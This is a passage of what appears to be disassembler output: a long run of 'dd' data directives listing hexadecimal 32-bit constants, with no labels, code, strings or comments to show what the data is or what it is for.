68A8BD6Bh, 6F507A73h, 0E6AE4400h dd 7F910C5Eh, 24E000C8h, 27CFCDF8h, 1700590Dh, 7A5814F5h dd 4AFF02h, 50F1977Bh, 3A776452h, 96119060h, 0E6B1E5EDh dd 0E1B50037h, 0B04E8FD0h, 5C000F34h, 0A5122875h, 60F8F3B8h dd 61BC167Ch, 0BE285863h, 0F500C8A3h, 908428D5h, 0D40864h dd 0EAAC0409h, 0BAA1A571h, 1C2F6CE2h, 8F2F40BBh, 0F631007Ah dd 286BED44h, 631D3678h, 3085D45Ah, 86C02B4Dh, 0A9BEC1h dd 4534BA37h, 0BCEB2217h, 2040604Ah, 89B5FA8Ah, 0BFC9018Eh dd 9B8C790Eh, 6159E809h, 9830DBF6h, 479130BDh, 1A880FB8h dd 0E1006504h, 3B861397h, 0F2100760h, 2F72F37h, 63F5DBA1h dd 858462Eh, 343CA324h, 0DF80E941h, 169431FCh, 4C6482h dd 61983D5Ch, 3A003E35h, 3FE937F3h, 94972D8Ah, 0EAFF0460h dd 400608AFh, 97058134h, 0BEDB1E00h, 0A44F8E58h, 295C00BAh dd 1044824Eh, 0F15CD11Dh, 52B51D61h, 90729100h, 787BF7h dd 0E73395AAh, 6B5499CAh, 9208500Fh, 9D4B0001h, 9AA9EC67h dd 3D9A00BCh, 0B994441h, 0D90F6251h, 46CEA252h, 2386306h dd 0DF58F57Fh, 74E07C43h, 0CD7B8412h, 1B8B4D01h, 2AA2F7B2h dd 0FAADECh, 433A0A0Bh, 734B3721h, 0DE690901h, 0E681E7E2h dd 12F45CD9h, 558A001Eh, 6B6EF279h, 0D93B19DFh, 77D70046h dd 0C7125482h, 416300D1h, 0F7C94C08h, 9E006DB3h, 7B5C9D5Bh dd 0DA8DA4h, 1AA8CD0Eh, 2BF495BCh, 0D93B8000h, 48502813h dd 0CC55004Ch, 99B7E9DAh, 16002B01h, 74644B05h, 31DF1h dd 8C801A8Fh, 0E2DCCA53h, 84D3FB00h, 0B274871Eh, 0F5DE05AAh dd 0D09258C0h, 0E945F85Ch, 0BE784600h, 4269C5A2h, 205F0097h dd 0BD86B336h, 94968F6Dh, 7A441758h, 2DEC022Eh, 2CEDE680h dd 0F26BF7E0h, 29948D01h, 42E8B333h, 0BB6470h, 0E0BE832Fh dd 0B496376Bh, 601B0207h, 9F40EA1Eh, 38289E17h, 8980B739h dd 0D734968h, 0E6005CFDh, 0FFD8C89Ch, 1E959251h, 960A1911h dd 5C87000Ch, 0E6B69A9Fh, 0B589D105h, 0C0CC044Dh, 80A0B0B3h dd 7FEE6A3h, 0FBAFCACCh, 650EF17Dh, 0EC47E197h, 1E00D3F6h dd 0DC9A39D0h, 0E08EC7BEh, 7674907Eh, 24084871h, 0D9EBB05h dd 0C1E080D9h, 0B901011Eh, 947334CDh, 93CC70FEh, 0E49C5C68h dd 28CBF801h, 0E2CE8103h, 1AC8977h, 0D30C1A62h, 0AB264462h dd 46690027h, 9AFC1D59h dd 727A3100h, 29E0B792h, 22AD126Dh, 82EC8579h, 0D04004F2h dd 7E00A44Bh, 5039F974h, 0A7B607h, 0EE17C7D2h, 304DBE8h dd 7EC3E30Fh, 0AA1CC06Ah, 9BB2244h, 7638AD5h, 0C0DD8005h dd 3C133257h, 0C0FD6ECh, 38CD6Dh, 0BA52A5E0h, 938F003Eh dd 6804B9F7h, 3F004812h, 674CC58h, 1DC3E8BEh, 40DEAF40h dd 5D1B287Ah, 65012C22h, 2A830A42h, 34C82B3Bh, 0AA740069h dd 60402DC8h, 980F03B6h, 84A8FE0Bh, 0E0C39792h, 946BC1FBh dd 5802CEC0h, 2C00384Bh, 76F2237Ah, 4400D0F4h, 67565131h dd 0D21AC5h, 22FCD7BEh, 0DC357CF2h, 9103257Eh, 5AC231BCh dd 1324C038h, 0C56601A9h, 7FE41B23h, 9A2D100Ah, 4D1A04ABh dd 90D5E09Eh, 0D2978460h, 0BC3A4200h, 569D404Ch, 458C0701h dd 0D0B49B5Dh, 2A94BB81h, 5B68A0A0h, 3858882Ch, 0D4003426h dd 607CA6AFh, 39BD7D37h, 0F50F8727h, 7E803C66h, 8634FD49h dd 3AE69530h, 0A4E363h, 4FAF7B5h, 0CB249CD5h, 0B89EC100h dd 6085B9BEh, 1F542EB1h, 0A6D3030Ah, 4899A0CDh, 0E3082059h dd 34033490h, 0A15A25A3h, 71000ADh, 441FF2F3h, 0B1056850h dd 0F8F4E2B7h, 0EAB4A804h, 121608E0h, 47AF34C0h, 0F46ED8Ch dd 0F01C92A0h, 0CD0070EAh, 367B1BA9h, 21FD0h, 0E88DD981h dd 38C44CD7h, 0EAE1561Fh, 0F9701180h, 0F1628Ah, 677B034Fh dd 0B79BBF44h, 21423D00h, 0E7EE5335h, 29D33E55h, 0DC2BD604h dd 665481AEh, 21F1FD07h, 19DC0039h, 0E7F48703h, 0C5C63D00h dd 0A5C7358Bh, 0D17660h, 30967B21h, 174B32DCh, 0BD976D1Fh dd 0EB954CC7h, 49600420h, 0F1111EE7h, 7A26800Fh, 0BEC8B1CDh dd 766CDE00h, 3B794039h, 46B20797h, 0C0D58E68h, 99ECB7FAh dd 0BED66928h, 6579F400h, 13DBCEDEh, 0C8EEA02Dh, 0FA1AC042h dd 364D9053h, 7BB3F300h, 1603A21Fh, 8190F2h, 9C2DE67Dh dd 1E70F801h, 0C9207660h, 7756CC6Ch, 335C000Ah, 0FC3ED426h dd 0DF007D29h, 94DD118Ch, 0FADE87h, 7BE53C75h, 6ED13253h dd 0B9549601h, 0C0A917F2h, 0EDC469E5h, 0BC6006Dh, 0E152AAA4h dd 4E008A58h, 0ECC03650h, 0AB9D17h, 22D8F47Bh, 0E95C9F1Ah dd 593D4718h, 7D5F1D2h, 0CF652B14h, 776CF060h, 820031A2h dd 3A5924E8h, 0BFA1EDBDh, 3200A578h, 1171E6B5h, 10EEA3h dd 233CCA30h, 206A6463h, 4289907h, 4AE0FB61h, 0E4705Bh dd 0D6AAAB24h, 892E8CA6h, 700C175h, 0E2CDD9F2h, 0EDF57Ch dd 0BB0A9BDFh, 123624D3h, 44028F00h, 0C1256B4Ah, 9920770h dd 805FA0DFh, 432652C2h, 849A3200h, 0FE7FCB4Bh, 38D9ECB0h dd 0F85A80h, 0FD21C2Dh, 0CB9A18B7h, 81954A3Fh, 0E4FDC5DAh dd 3AECE181h, 0EC701F5Ch, 3086F896h, 284902B9h, 800371F8h dd 9209253Ah, 79538874h, 0B57700B2h, 0BE67A584h, 0F4002A7Dh dd 32EF01D3h, 7D86F9Ch, 37C9AE04h, 1082E026h, 5000741Ah dd 0A849FB45h, 809F0h, 2BF26036h, 8D7196F3h, 6080B86Fh dd 512ED234h, 8458B797h, 18B1EF31h, 1088CA9Eh, 40BAA256h dd 32AA447Ch, 0DD132700h, 2F21208Fh, 54170334h, 81717FDEh dd 8019C491h, 0ED430C50h, 392B9B57h, 4C81B6C3h, 6D49CBF2h dd 775230EEh, 0B3B0DD00h, 0B2E8F416h, 3AC22407h, 368A0DE6h dd 0D315E078h, 6BE1200h, 3011849Fh, 60416176h, 705A8D04h dd 0C0080FCh, 0AD17541Bh, 719F3Eh, 916D4061h, 42E6FE08h dd 0D345F303h, 1ED1952Eh, 0DDFAC460h, 2BEF0238h, 0CCA367E7h dd 0F9008EEDh, 0C24E25F3h, 9CDFF11h, 3E5DEED3h, 9EF5FC00h dd 14002A3Bh, 331B6274h, 7B5D476h, 168A7D0Eh, 4519909Bh dd 79AF9F7h, 78B3082Ch, 44E91F00h, 1D0D2713h, 0E8A29CEBh dd 464A01CCh, 841EF4EDh, 85C04004h, 7F00D87Ch, 0BBB760BCh dd 0E0EFEEh, 2BECDC21h, 96906D08h, 0AB53B0Ch, 2BCB07Bh dd 0A7B2571Dh, 2C81C2ADh, 87A39E6Fh, 0A88B21D1h, 0D471E2B0h dd 13C800EBh, 43892F53h, 0F000AB6Fh, 1378D63h, 0BD94908Eh dd 49C0B5D0h, 0FE9D3E9Ch, 46840973h, 0CA0098E6h, 743CF931h dd 627D7B00h, 375CA0B0h, 393800A3h, 0D371EF98h, 0A1D696B7h dd 503DD70Dh, 343F3A60h, 80984337h, 824EC5C6h, 38AACA00h dd 715D1FC6h, 5FDF002Ch, 40EF2D37h, 7D3E61CCh, 128B8087h dd 3EC8FA1Fh, 0D8A0002h, 0F53865ACh, 4B0130F8h, 80A4DDA5h dd 0C5F82604h, 2D1C0635h, 29DCA921h, 6E7AE91Eh, 1068564Ch dd 1E5A76DBh, 0CD92D34h, 0E829C612h, 0AD49A90Fh, 0C31B602Ah dd 262BD0h, 0FD54FB56h, 73B0240Dh, 8C495A00h, 6CACF52Fh dd 4FFAD2h, 0F0149A8Eh, 217ADDE6h, 0D307E707h, 703C32C1h dd 413A0065h, 0CEEFB354h, 0FD00F419h, 2850FCAh, 7428D0BAh dd 81D607FFh, 0E08030C6h, 0E8E61296h, 0FE694700h, 4F93791Eh dd 8AF20004h, 64F8361Fh, 0BA0051A7h, 0DDB247Ch, 332F778h dd 0B0562886h, 0FCD8D838h, 0F916B404h, 15003588h, 5C81FFBh dd 9D78BEh, 0A5340D37h, 2895BC80h, 0DF13E300h, 0C6A8ADF5h dd 858A1263h, 5A25009Ch, 6C28AACDh, 661F29C4h, 0ECC8B300h dd 8700CB68h, 0D51143A5h, 9996D3h, 0E244A083h, 72CC78E0h dd 0F39FBA38h, 800A37Dh, 7D45DB10h, 0B80E39h, 59C88913h dd 6CFE1BFCh, 2B573200h, 3FBE92FAh, 68EF00C2h, 0CCC7CBDAh dd 3800693Dh, 50076731h, 0A73C73h, 329B4D10h, 0C59258BEh dd 0D5DBD100h, 57CDF7D8h, 3B87005Bh, 1F5C6118h, 0E700B51Dh dd 303404AFh, 0A021DA97h, 34AA78Ch, 5F3DAE02h, 0F39B625Ch dd 0FC524689h, 50000F6Ch, 764020F9h, 0C0DA3B2Fh, 744FD488h dd 0C80016F0h, 34D877DFh, 0FCE3E8h, 3F89FDEAh, 66640487h dd 0C6312400h, 616F8210h, 904F00DDh, 0B350EDA8h, 220086CCh dd 9C4CF46Ch, 0E35C7B5h, 63108D7Bh, 541DDC00h, 16009E94h dd 0EF7240DEh, 8A073Dh, 270178B0h, 351C04F9h, 6447F81Fh dd 0AD6D33C7h, 80C24630h, 0E4A60077h, 0F1FDCF88h, 36009654h dd 0A08B229Bh, 12E9FD1h, 6F498FFEh, 20E437CBh, 5290C08Bh dd 544E1F00h, 0A4B389B2h, 0F571015Ah, 0C2E323E4h, 91EA6013h dd 0AA154800h, 0EB9DE541h, 0AF810052h, 3CF01292h, 0A70084D9h dd 64C6D5FAh, 16B31FDCh, 195D882Ah, 60843495h, 293C5C51h dd 8002005Ah, 161F659Dh, 0A9F801F6h, 0AA20142Eh, 0E8D9CD29h dd 0D200156Eh, 0E572676Fh, 0FF7E44h, 1D438D95h, 0FB47AE80h dd 25940901h, 99C801CFh, 7634E0h, 0A8B74B14h, 0D4654E63h dd 6D53B900h, 72FD64CBh, 7F90D5h, 2F9D161Ah, 492BA596h dd 98ACD702h, 80588FF4h, 18CF5B50h, 0B25C0022h, 0FA4E3A9Ch dd 0BC00709Fh, 0C3F35AB3h, 0E1EFC8Bh, 59B7660Dh, 72F8EB40h dd 1600DCC1h, 55E9466Ch, 0F48D29E1h, 0FFC91701h, 0EA530F52h dd 207A3087h, 2BC826C6h, 0B0898101h, 520A9849h, 7AD3C880h dd 0ADB51B77h, 0C4F62100h, 12288FE8h, 1F6600D8h, 62FDD50Dh dd 0F100C66Eh, 614929B6h, 9121DEEh, 15D4E09Fh, 38E35400h dd 800A517h, 0EF233F75h, 22A93Eh, 13AEBA55h, 0B856F7DBh dd 0F4DAFB28h, 0EE882600h, 0C55F9B93h, 524F007Ah, 87E3CFF6h dd 0B2070403h, 655C8195h, 8F716C30h, 7529006Eh, 7FC7394Bh dd 0FE3083EAh, 81FB28B9h, 1898A469h, 0B821CF13h, 50076BC5h dd 25DBEC3Fh, 48F05680h, 0F822005Eh, 21B44243h, 36000A3Ch dd 63E5992Bh, 0F41C85E0h, 1B7C00CAh, 0B8C0A7FDh, 5E00F371h dd 0E220795Ch, 9047E60Ch dd 6350B78Ch, 8CBE9E00h, 4D497732h, 0AC9B50E8h, 37520004h dd 291A6FF1h, 4A1920B6h, 7A9817A8h, 769F30h, 3BF0D832h dd 45710F94h, 9821A260h, 7C55405h, 0A46B5D8Dh, 0E10CE05Eh dd 69FC6D6Ah, 8CAA0F00h, 0F932D043h, 8F0E01B7h, 7E728A82h dd 2907C8A2h, 6184BA00h, 7D2B863Fh, 0BF7FA3h, 392A2851h dd 0D7223DB7h, 95788378h, 4F142007h, 0B6318CCFh, 6BF82477h dd 0FFE800DCh, 54CBD826h, 3B7DC230h, 104F1912h, 378E802h dd 0EC808017h, 0ABF1CAh, 6C06C259h, 0DED0822Ah, 88005C90h dd 0D3A476E8h, 0FAF6BBF9h, 0EC7C0006h, 1B582E7Ah, 3F0FC1B3h dd 7F5049A2h, 9200E864h, 2D52C530h, 0F29B4805h, 0C067BA1Dh dd 5F766E10h, 0CE07DAE8h, 2CABF8F9h, 0AB4D190h, 0B72E39D5h dd 45A0908Fh, 12A7F2C0h, 2D3FC5CFh, 0BBC22C89h, 0E6200800h dd 0F71951h, 0E7054BE3h, 0EAFB58C9h, 424F0A00h, 2F20D36Ch dd 4DEC0093h, 0C4FFC1BCh, 0EA00264Ch, 0C564A956h, 71BA0C8h dd 5F2878F5h, 0CD2B6013h, 0CC7DF296h, 0B30BD212h, 64264C05h dd 0C1A64083h, 3020F76Ch, 0D3B04Ch, 7223276Dh, 0C053DB93h dd 7ED92B3Dh, 0C0FC6B48h, 61285E59h, 2D060241h, 0D95363F7h dd 2C33C077h, 8CE90166h, 68B608D0h, 640434F9h, 0E85EEE00h dd 98E136B3h, 94A10104h, 633A039Bh, 7660F0EAh, 0A4525700h dd 0B1C5257Ah, 71200F6h, 9EB841DDh, 0D503301Ch, 93EA60DFh dd 0B071A0E4h, 875816CDh, 4363009Ah, 530E3BA2h, 2600A071h dd 192F2CA8h, 294F1h, 88B6A59h, 6C91A7BBh, 180F7F24h, 0FF409C1Fh dd 0DD38A92Eh, 7FC4E8C7h, 2F3D0FB4h, 0E9CFE574h, 4200212h dd 9A8DCF29h, 0C6284011h, 6900B6B0h, 0D5286B8Ch, 4B5D7D9h dd 0C7D28B61h, 5104D039h, 85C371Bh, 73E90671h, 1185294h dd 0B671AF03h, 511A31FCh, 7429BB18h, 15032D58h, 0D34E980Ch dd 0AD02A0B1h, 0AF890042h, 31B41778h, 0A113E264h, 0B0001CC5h dd 0FB577DB0h, 0D4840029h, 661862EAh, 74003F2Eh, 50826F1Bh dd 3DC07196h, 0AF007D0Eh, 0D8D1FE5Bh, 70005553h, 0FCBFF65Eh dd 7D6D311h, 0C40326A1h, 0E1375032h, 9F0093D1h, 0D5DC65AAh dd 12390C53h, 2CBEFA8h, 270361A4h, 323430E0h, 0B0525A2Ah dd 388FA24h, 83B18E0Eh, 9A2608A7h, 90108255h, 0A81C8747h dd 1F89EFD0h, 73B603F3h, 0F58187FAh, 9D0116FEh, 20A54CAEh dd 0F03B0EB1h, 0F000E926h, 0FBF7217Fh, 5D6C5Bh, 292298BBh dd 31BC7789h, 6BD81E00h, 9521E634h, 27A917E3h, 0F71F10h dd 94460BF2h, 78026F59h, 674EFD88h, 44AE807Ah, 8F5E95h dd 0B2F6A25Ch, 1A1172EAh, 83BEB700h, 65EB7779h, 0D74D0070h dd 9B0BB906h, 39005511h, 4007FDE2h, 4CC92Fh, 4512EB83h dd 1F57D8B7h, 73527B00h, 0E943C25Ch, 0D5032504h, 6C3DC0D8h dd 7137801Ch, 8714E532h, 1AEC00D3h, 0BA0190Ch, 0E6123EEAh dd 3E10C7AFh, 0BE2D0098h, 51E79FABh, 85A90202h, 1FFCB2BFh dd 44A8AAh, 0AFC45A98h, 30928A2Eh, 9F035200h, 58346EF3h dd 0DAB024F5h, 64803D58h, 0B5DDFB4Fh, 7630A732h, 16E448F8h dd 181B60E0h, 18358312h, 9005FEEh, 1AB1F34Ah, 0AAFCF754h dd 892DC0E8h, 6A370006h, 3FD6E90Fh, 0DE5C28BEh, 0B8D20EFCh dd 0C88E20B4h, 13076527h, 0B7849Dh, 5E97AB70h, 0A7002DE6h dd 0F1C00BF8h, 33D6B1h, 0BD89B7AAh, 0E498EB08h, 8EA98300h dd 0F395CA70h, 946CA027h, 2B371CA3h, 0EACE0025h, 5C328A1Ah dd 698D4401h, 39F820B5h, 17075E4h, 557BEED5h, 0C7F443FDh dd 61BFAAC0h, 25B5CD0Ah, 3D86B09Ah, 0C61DBC9h, 0B1E37168h dd 0D700FEE9h, 12BCE028h, 39CCB379h, 9F80C44Ah, 0D3CE6514h dd 0AB00DBFEh, 4EC22CA5h, 60559CB8h, 6C8F5894h, 0D800E632h dd 3DA852B2h, 737E2Ah, 0E70AE4AAh, 9B04017Bh, 98F43000h dd 0C6385906h, 22923AFBh, 9D7AB200h, 47D3C9Ch, 96FDBD03h dd 0A0FC06F0h, 0B1B5C9h, 3510DA7Ah, 3D640AD1h, 0BB6B5900h dd 43D360B7h, 4E8F0006h, 0F6308076h, 517C3E71h, 44B2930Fh dd 0DB9A8147h, 188CB521h, 3505AE2h, 18A0343Eh, 6A18A46Dh dd 0F3A280B8h, 50C98730h, 0C00128E2h, 453751CEh, 0C6EC7AFCh dd 852DBC00h, 0F4A9B1E7h, 7E0800C3h, 0C4F3CBFh, 2200262Eh dd 0F1D8EBABh, 1F43F7A6h, 403BB571h, 59D1689Eh, 4F3A018Ch dd 0A1BF0014h, 61224217h, 54861F3Ch, 88F18E7h, 20C09309h dd 0E4177951h, 5B88009Bh, 0E1020659h, 2F00A836h, 673AD18Ah dd 72B7B8AFh, 0B24E308Ch, 56E82858h, 901E8000h, 0AEA14879h dd 0D723008Ah, 26BAFBD2h, 0DF00164Bh, 1DF472CEh, 38DC424h dd 0D1B7F3BFh, 5078EAC3h, 5A954100h, 38EEA347h, 52871D57h dd 0B85B0C2Fh, 200D420h, 0C60574C9h, 0C3C88Dh, 26A9FC6Fh dd 0EADF52E3h, 1E02AF07h, 0D8F33261h, 6EE5B3B9h, 730060D8h dd 0D18B447Ah, 2971AA00h, 49E50C34h, 0F2010C08h, 5F28EB62h dd 9F85040Fh, 4FA300E0h, 3071D443h, 9E493858h, 510086C8h dd 0A569AB2Eh, 3C7F4Dh, 0DF7748F0h, 84F60F53h, 3D1D9207h dd 0B870BFECh, 8C1737Dh, 0C0099F64h, 25456C00h, 0CA3C495h dd 7466C533h, 0C8674808h, 2CC02120h, 3CA4589h, 0A41322D5h dd 0E82A5424h, 0B7E8A4F2h, 2AB4F702h, 411E0373h, 8830F32Dh dd 0E4F0A5h, 44109D0Ch, 0CB8AF24Eh, 1D75A13Dh, 0AAC0F3ADh dd 0C83D8DCAh, 9FAC0079h, 24147EEDh, 7800E1FDh, 2947B737h dd 3DE8AFh, 26521E46h, 6DED40A2h, 483F3013h, 6C7CD30Fh dd 6A319BFh, 8062D8F8h, 0B60010BAh, 3402C92Ch, 1DD4DCB7h dd 40CA0D09h, 567F9DABh, 3798A2C4h, 0A3E3021Eh, 0CBC77DDFh dd 0A6204705h, 1A975F9h, 0B43FD231h, 0D01CF33Ch, 23002BE5h dd 0B690D355h, 0E2AA2F9h, 7B05061Fh, 4F777F81h, 0A57AF0C7h dd 6B182460h, 0E6C9379h, 7D6FAF51h, 0C0C301D1h, 0EEBF65E6h dd 0C329DDF0h, 74B80D48h, 0BFFE64A9h, 53C18028h, 0C5ED3FEAh dd 0B55200A2h, 723A72Ah, 160082D0h, 21F358FDh, 0F294D2h dd 45EF22A6h, 42CA9F88h, 4C0FA4F0h, 0BD83E5h, 0C5F03D5Bh dd 283B087h, 53D3416Ah, 9880A118h, 0DDCACEF9h, 3DA38403h dd 0F06D9A26h, 5F4EA4h, 5161467Fh, 89C1C696h, 0B9F1600h dd 9AB610E2h, 82E43D65h, 0B0173880h, 0EC7B8834h, 7AB885E2h dd 45002D78h, 39764D6h, 79CDE7h, 77A0065Eh, 0E0346F56h dd 0AEC9000h, 0B71BC543h, 28CC022Fh, 0F37B9132h, 8E76DEC1h dd 405EC150h, 44FEA906h, 712000E9h, 0EF8CCF49h, 4C751837h dd 7FCC39h, 9F603D35h, 0B719BFh, 40241544h, 183EFDFFh dd 0C595F600h, 27C778E8h, 0DC1118A8h, 0B7B60FCh, 0DF581307h dd 81A0B805h, 39702B66h, 7A804553h, 0C3AE8867h, 0E56071B2h dd 75BD2730h, 0EB040E3Dh, 4C80625Ah, 5206F95Ch, 5618890h dd 4B93CA18h, 83D2C601h, 0CD4AEC38h, 91A6A0C4h, 6D8000B9h dd 0AB40E6F3h, 0F0140145h, 8CEF20h, 284C5EA3h, 0FEBFC172h dd 38D61E49h, 0FD5FC1D8h, 0DCBD301Ch, 0C8FD392Ah, 91B04440h dd 18B47B30h, 808859C2h, 0A8F46EEBh, 82877F0Fh, 0DA996090h dd 1DE6D2Ch, 5692024Fh, 80B5F4C8h, 6683C221h, 6D1157h dd 0DE883B8Bh, 47FE8AB8h, 0E68D1D00h, 0E35490BBh, 851B07C9h dd 9076AD50h, 3579A7E8h, 40441701h, 0E26C870Fh, 0CB928970h dd 0C400F621h, 89BDD123h, 3819C200h, 0B8D7CC75h, 80E96009h dd 88FA495h dd 0DE83D03h, 0EA5997h, 385A32D0h, 0E9C7404Ah, 3591DF03h dd 9E7343E7h, 4B602188h, 20CE8E9Fh, 6414C844h, 0E54740DEh dd 718BEB34h, 0E6F633h, 6539FC7Dh, 0BDD732E3h, 10A21502h dd 0DF3EFEF1h, 40461141h, 247E9EACh, 12D390Bh, 0BC198E9Ch dd 551D4080h, 52604Eh, 9547E7EAh, 886D01B1h, 23644400h dd 8D9C6754h, 0E08F004Dh, 2642895Fh, 0B6E893FEh, 0ECE5241Eh dd 0B7580D80h, 0E3C14ABAh, 21940898h, 8900C885h, 6E5F1552h dd 376B351h, 9E358D68h, 502360BDh, 0A450021h, 2F6F557Ch dd 407E4942h, 0C5009034h, 0DB1AF289h, 6647Eh, 1C9EE46h dd 1360B534h, 24B95200h, 0A9CFAAD4h, 3676145Ah, 0BA14DCCAh dd 8B293460h, 42DA5B3Ch, 7935BF18h, 14BB0157h, 34C3BD70h dd 0FCCED1ACh, 0A702B6CAh, 23FB8176h, 3AEC6045h, 0B2F2019Bh dd 5AF94FABh, 810ED1A5h, 222D6F21h, 84718B69h, 5080EA31h dd 3CA45F94h, 5700D6C8h, 6587F6B2h, 0F7C670h, 76E5424Bh dd 401D308Ah, 31EC644Eh, 0FFA92B00h, 844B4ABCh, 75CE7901h dd 8A6A2588h, 35FE8h, 669060FDh, 0CF3083C3h, 0EAE17D0Eh dd 181B6507h, 6D6F53C0h, 0A04100BBh, 0F8945E22h, 270F52AEh dd 6F7EFB9Dh, 468040AAh, 5BC52201h, 929D80B7h, 0B000727Fh dd 33A8977Ah, 7452CB2h, 740C0B87h, 1C7D70BFh, 5FE82BBAh dd 80B1A63Ch, 45A71EFCh, 0F83C9474h, 50AE030Ah, 651A145Ch dd 0D56DABD1h, 7E21F477h, 0AD9AB517h, 339C6200h, 2D7021Bh dd 9130F8F3h, 88C31DE2h, 0C0C57800h, 9CCB2168h, 207418A6h dd 0DE6A20A3h, 0CC2D041Fh, 691E5D16h, 34C78400h, 70B2AAh dd 5C89378Ch, 82A5BAB1h, 8449200h, 6E280B0Dh, 0E27F30h dd 454E76BDh, 0E03E111Dh, 9838027Fh, 0DA850161h, 258D2DA7h dd 0FE3D71D0h, 59DD006Ah, 84B6A303h, 0EFE66330h, 4035DC00h dd 1B27D356h, 9B070043h, 0E1A30AF3h, 0B1007728h, 0DC58204Eh dd 0EC51E8h, 32E51FADh, 13570B1Eh, 30809D30h, 0CD44FCh dd 0E8C6FE33h, 0D9C0F588h, 87E8298h, 5E25500h, 0E717CD36h dd 0C4BC003Ch, 0C97D5881h, 0E97EAFBFh, 0CD68EF00h, 0FD9680E5h dd 589960DFh, 8B4981C3h, 635FAA00h, 73FA32C2h, 7ED50B31h dd 120F53E2h, 806AB944h, 6C1293DEh, 985B9D1Eh, 0DA5FB03h dd 0C21800B3h, 27A4B968h, 0A26043D7h, 905F380h, 0C70B00F2h dd 0F7B439BFh, 70C0805Dh, 0CDC4DEDFh, 1F97F462h, 87B19Ch dd 8389AE3Dh, 0DE03D4A0h, 7AD7EC12h, 6E58C869h, 498D0066h dd 274A98D9h, 0F871404Eh, 0E5E2E011h, 0D3831300h, 0BF499610h dd 0A0304DE6h, 5C30E92Fh, 8C3F3036h, 6C88E7B0h, 0D90A3A74h dd 0B4EFC5CCh, 572B3000h, 60F20C61h, 5626392Eh, 0E01D4252h dd 5803E5FBh, 0E02B8075h, 3170A1h, 85136A68h, 0C1DA407Eh dd 0AD6DCA04h, 0F280D619h, 58616EDEh, 8001471h, 0B33E038Ch dd 1B0E0552h, 0A0DC2B2Dh, 0A463AD17h, 0D23C00DDh, 22C38F76h dd 0F390685Dh, 0B214F800h, 0AEEE1BFAh, 2BE0B3h, 0D9EB8436h dd 0A8D79F48h, 0FED3B803h, 0F8AC5859h, 3D413FFh, 5B2AECCFh dd 0FA886431h, 0F2005A61h, 21817047h, 66750Dh, 0A2B78C76h dd 0F3D1FB30h, 0FE00337Eh, 0A1EF4EA9h, 0DFBDAFh, 83B9D2DCh dd 38CF8D0Bh, 0ECDE3Ah, 96E9A6F3h, 307FA701h, 3198E550h dd 0AF070682h, 5DEF8536h, 0A61B0740h, 847A0067h, 156597C4h dd 1900DA8Ch, 0A2DDFF75h, 9C4B9Dh, 81585701h, 3D93BF6Ah dd 0F87A867Ah, 47364D00h, 0F56BCCF0h, 0F23C00A8h, 7B4E4B2Ch dd 5500E6A1h, 92AD9875h, 0FCBAB5Eh, 73B030EAh, 0F0B2018h dd 68F17500h, 4D425951h, 5F9700F5h, 0C0E25271h, 0EB1C49CBh dd 0A01D9AF6h, 30FC65C1h, 39DC03F5h, 7354007Eh, 0EF62CC32h dd 401425Eh, 0D4A16F3Dh, 4448EB3Ch, 0E92D1AAAh, 443081ADh dd 0DC001006h, 139CD8BCh, 0E240D8Ah, 4E469E71h, 0C03EC107h dd 77F77FE4h, 9B02BB1Ch, 3203836h, 0B917849Dh, 1000ADBEh dd 0CF8BEA1Bh, 7202C5CDh, 86710645h, 20AE0391h, 79125E04h dd 0C0EFA583h, 0F5F3C01Eh, 43B0C201h, 25E13C92h, 76A45C50h dd 0DAAD142Fh, 98C8A05Fh, 7687A880h, 13FC8FFh, 135FDB3Eh dd 0C0DE19A0h, 8EC624DAh, 1D58425Dh, 3D3C0h, 0D28B4404h dd 14005B52h, 77D9E9FBh, 1F43C513h, 4738DE97h, 0A02A74D0h dd 0F969FC75h, 72902E1Ch, 7E1D9Ch, 0CDEEE3B8h, 1E6D839Dh dd 80C553C6h, 27F19E8Ch, 3000C23Eh, 5D4BC7D4h, 91EDDEh dd 0F02F350Eh, 653D2E51h, 0AD1ADA0Eh, 3902E1D9h, 0C5C0893Eh dd 0BDC1013Ah, 0EBEA1F7Eh, 7B3D858h, 0D462C60Eh, 153A8054h dd 4D9456h, 0E08050FFh, 7358A122h, 4C17BE00h, 87D0F3A3h dd 57A70E7Fh, 2BC0EF3Bh, 89728C56h, 80EB1830h, 0AFFD55h dd 0A1E625ADh, 0A2772733h, 468DF0FDh, 0E35BEC06h, 70213Ah dd 0A69D4530h, 94F36392h, 0EC1B1419h, 51E8D418h, 38EC02h dd 96EA9F4Ch, 671C6C3Bh, 0A1CA0400h, 49B354A5h, 927E064Bh dd 0D860486Dh, 6B263700h, 1D72DCCh, 41C80072h, 0D0DA6842h dd 7460DE35h, 59F6F860h, 0DF0B0196h, 1A9E64FCh, 0D4A4C46Fh dd 0D016A679h, 4200FF01h, 635E1351h, 0CF05002Dh, 5B199244h dd 8001625h, 76F9F2D0h, 0E66BF115h, 3BE024B7h, 0FE930034h dd 637A27D9h, 703EB11Eh, 161D3E64h, 897FF4C0h, 4267D0h dd 0A31790A6h, 0DAEF8866h, 6C045300h, 7D9C30BDh, 0E2B0127h dd 312AC1B5h, 6089DD0Ah, 700024EEh, 0A016B9B3h, 0CB44C8h dd 0CA98CDB5h, 0E68D693Ah, 30CC4A3Eh, 0D69EB0B0h, 75F1767h dd 0E98700A5h, 38769F1h, 0F6D8F00h, 936884BCh, 83F2006Bh dd 3F907623h, 0B30E7332h, 47FA7F08h, 0D0A09805h, 0C034DDABh dd 0D4519380h, 10097B1h, 0BB0FF1B6h, 0EF94E5h, 0D6024F12h dd 989FBED8h, 88EABC30h, 6A146Bh, 89016ED3h, 0E6CE2033h dd 50077700h, 1D7BDB69h, 2B241C49h, 20D1405Eh, 0F2368694h dd 0C601EB7Ch, 0CCF5620Dh, 0B2400341h, 1A20B35h, 864BD1D2h dd 0D866B699h, 96265406h, 0BC005F73h, 0B9BD5BBEh, 14E700DEh dd 0A379B731h, 360072A5h, 4511805h, 0EE86EFAFh, 6F241E6Ch dd 0A989F909h, 0B00D38Ah, 0F64381CEh, 0A71F8F07h, 34477A59h dd 0AD2413A0h, 97DD6h, 663A65C1h, 61F1D50Eh, 0AFEE7F00h dd 57E9F555h, 70862650h, 2AE6008Eh, 3A841A21h, 1CEE9401h dd 0B156B65Fh, 4738FCh, 9066BD75h, 0D7358387h, 5AA4CA00h dd 0A7F19231h, 0DCF80746h, 0F0C40869h, 0CD8F1EA6h, 0C13B8EEAh dd 24300DFh, 0EEEBB276h, 3F7F7AF6h, 0BE87E460h, 4F7735D6h dd 37B4F880h, 0E6019442h, 47FE76C6h, 8BF8A880h, 59400BD3h dd 0DB8087FCh, 7E69CF06h, 7668148h, 